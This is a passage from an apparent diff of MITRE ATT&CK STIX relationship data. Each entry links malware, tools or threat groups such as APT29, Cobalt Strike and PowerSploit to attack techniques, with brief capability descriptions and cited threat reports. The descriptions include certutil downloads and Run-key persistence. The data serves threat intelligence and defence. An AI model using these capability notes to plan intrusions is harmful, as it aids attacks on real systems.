"2018-01-16T16:13:52.465Z", + "id": "relationship--d8a5e73d-fe56-42d7-a53d-09a90c21308b", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "source_name": "Symantec Buckeye", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[certutil](https://attack.mitre.org/software/S0160) can be used to download files from a given URL.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--73f5c564-53b1-48bc-8cab-32fa4a608672", + "source_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", + "modified": "2019-07-31T19:57:28.969Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TechNet Certutil", + "description": "Microsoft. (2012, November 14). Certutil. Retrieved July 3, 2017.", + "url": "https://technet.microsoft.com/library/cc732443.aspx" + }, + { + "description": "LOLBAS. (n.d.). Certutil.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Certutil", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Certutil/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader establishes SOCKS5 connections for its initial C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.056Z", + "id": "relationship--df4b49f1-71ca-4744-8554-47bf36174d89", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.571Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Sys10](https://attack.mitre.org/software/S0060) collects the computer name, OS versioning information, and OS install date and sends the information to the C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--550bf43e-53da-467e-affd-9f44ad668508", + "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", + "modified": "2019-05-03T16:44:41.794Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) has the ability to upload and download files from its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--18572125-3439-4f7c-92c8-d787913dc989", + "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", + "source_name": "Fidelis INOCNATION", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[Flame](https://attack.mitre.org/software/S0143) can record audio using any existing hardware recording devices.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--07d16181-ba82-42c8-a67b-8d7d5adef52d", + "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "modified": "2019-06-06T14:35:53.951Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Flame", + "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.", + "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/" + }, + { + "source_name": "Kaspersky Flame Functionality", + "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.", + "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) encodes files in Base64.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--297b069f-7d1b-4335-9363-c73bd823c322", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.", + "source_name": "fsecure NanHaiShu July 2016", + "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[RARSTONE](https://attack.mitre.org/software/S0055) uses SSL to encrypt its communication with its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--345c6135-7557-4292-8214-66618ba17edd", + "source_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Aquino, M. (2013, June 13). RARSTONE Found In Targeted Attacks. Retrieved December 17, 2015.", + "source_name": "Aquino RARSTONE", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can capture screenshots.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--48fb8267-5d68-467b-a2c0-8302cc15ebed", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "source_name": "FireEye APT10 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "source_name": "Accenture Hogfish April 2018", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091", + "description": "[PlugX](https://attack.mitre.org/software/S0013) can be configured to use multiple network protocols to avoid network-based detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2c48f039-61f7-4af4-974b-f0e0fcf95f58", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:15.845Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[xCmd](https://attack.mitre.org/software/S0123) can be used to execute binaries on remote systems by creating and starting a service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3f416bd3-a06f-4ec2-8cf6-4a84e0611c63", + "source_ref": "tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Rayaprolu, A.. (2011, April 12). xCmd an Alternative to PsExec. Retrieved August 10, 2016.", + "source_name": "xCmd", + "url": "https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "The [Winnti](https://attack.mitre.org/software/S0141) installer loads a DLL using rundll32.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6b11697f-be6c-4cd7-b445-4d277a8d7346", + "source_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.", + "source_name": "Microsoft Winnti Jan 2017", + "url": "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used spearphishing with a link to trick victims into clicking on a link to a zip file containing malicious files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--a1d7019e-ccb0-42cb-ba7c-351dd5cb152f", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.300Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "There is a variant of [RATANKBA](https://attack.mitre.org/software/S0241) that uses a PowerShell script instead of the traditional PE form.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ed91791b-8e5a-4e0c-b77c-6fad78be7378", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "modified": "2019-05-03T16:54:33.194Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "source_name": "Lazarus RATANKBA", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + }, + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can collect data from a local system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--f4865a5c-c17c-408a-94de-2feac0d006fd", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.417Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.025Z", + "id": "relationship--47316750-4ca7-4ea3-b72c-9d7c7d895e3a", + "source_ref": "course-of-action--4320b080-9ae9-4541-9b8b-bcd0961dbbbd", + "modified": "2019-10-09T21:09:01.082Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can sleep for a given number of seconds.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--44671cd3-9bdd-4e9f-a7d1-a322d0abf659", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:53.049Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) collected the victim username and whether it was running as admin, then sent the information to its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.076Z", + "id": "relationship--8bb44b86-379d-49ba-9b28-2451e69db30d", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.948Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "source_name": "Cymmetria Patchwork", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--ebd51f84-cd09-4b40-88bd-bed2461996d7", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "modified": "2019-05-10T12:14:32.235Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "Several tools used by [Suckfly](https://attack.mitre.org/groups/G0039) have been command-line driven.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.075Z", + "id": "relationship--13a8be40-1190-4553-b026-58c5088c322a", + "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d", + "modified": "2019-03-25T16:59:47.258Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Suckfly May 2016", + "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.079Z", + "id": "relationship--b6eb09bc-fef4-4cf3-b337-dfe6bd87ca35", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.570Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN7 March 2017", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) encrypts C2 traffic with HTTPS and also encodes it with a single-byte XOR key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a5d7526f-2b1f-4a69-abc7-926b22bc402b", + "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", + "source_name": "Fidelis INOCNATION", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used a batch script that adds a Registry Run key to establish malware persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d20b659b-3595-4171-9beb-668ab26bf398", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.318Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s New-UserPersistenceOption Persistence argument can be used to establish via the HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run Registry key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--7b06929c-1b23-4efc-9fc1-64552d5fbdb2", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.156Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) manipulated .lnk files to gather user credentials in conjunction with [Forced Authentication](https://attack.mitre.org/techniques/T1187).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6db4aabc-a2ed-4db2-8ecb-c9ca11dc8f46", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.568Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[Tasklist](https://attack.mitre.org/software/S0057) can be used to discover services running on a system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--40c5a024-37db-478b-b90f-27f184bf8f60", + "source_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (n.d.). Tasklist. Retrieved December 23, 2015.", + "source_name": "Microsoft Tasklist", + "url": "https://technet.microsoft.com/en-us/library/bb491010.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Felismus](https://attack.mitre.org/software/S0171) uses command line for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--fdf9f632-03ce-4e8c-88bf-3798bb7f5ef4", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "source_name": "Forcepoint Felismus Mar 2017", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can enumerate and search for files and directories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d4ca926c-6976-4ee8-a5b0-89aa11931bea", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "source_name": "FireEye APT10 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) has a command named $screenshot that may be responsible for taking screenshots of the victim machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e769177d-17b8-443b-b939-206d724fbb40", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "modified": "2019-04-24T23:55:43.375Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--d08c3470-db13-4e60-a7e0-807e72318d0d", + "source_ref": "course-of-action--1e614ba5-2fc5-4464-b512-2ceafb14d76d", + "modified": "2019-07-24T19:40:51.520Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.026Z", + "id": "relationship--4b5bd2c6-b460-401d-8457-005add9037d9", + "source_ref": "course-of-action--0bc3ce00-83bc-4a92-a042-79ffbc6af259", + "modified": "2019-10-15T18:43:48.042Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + 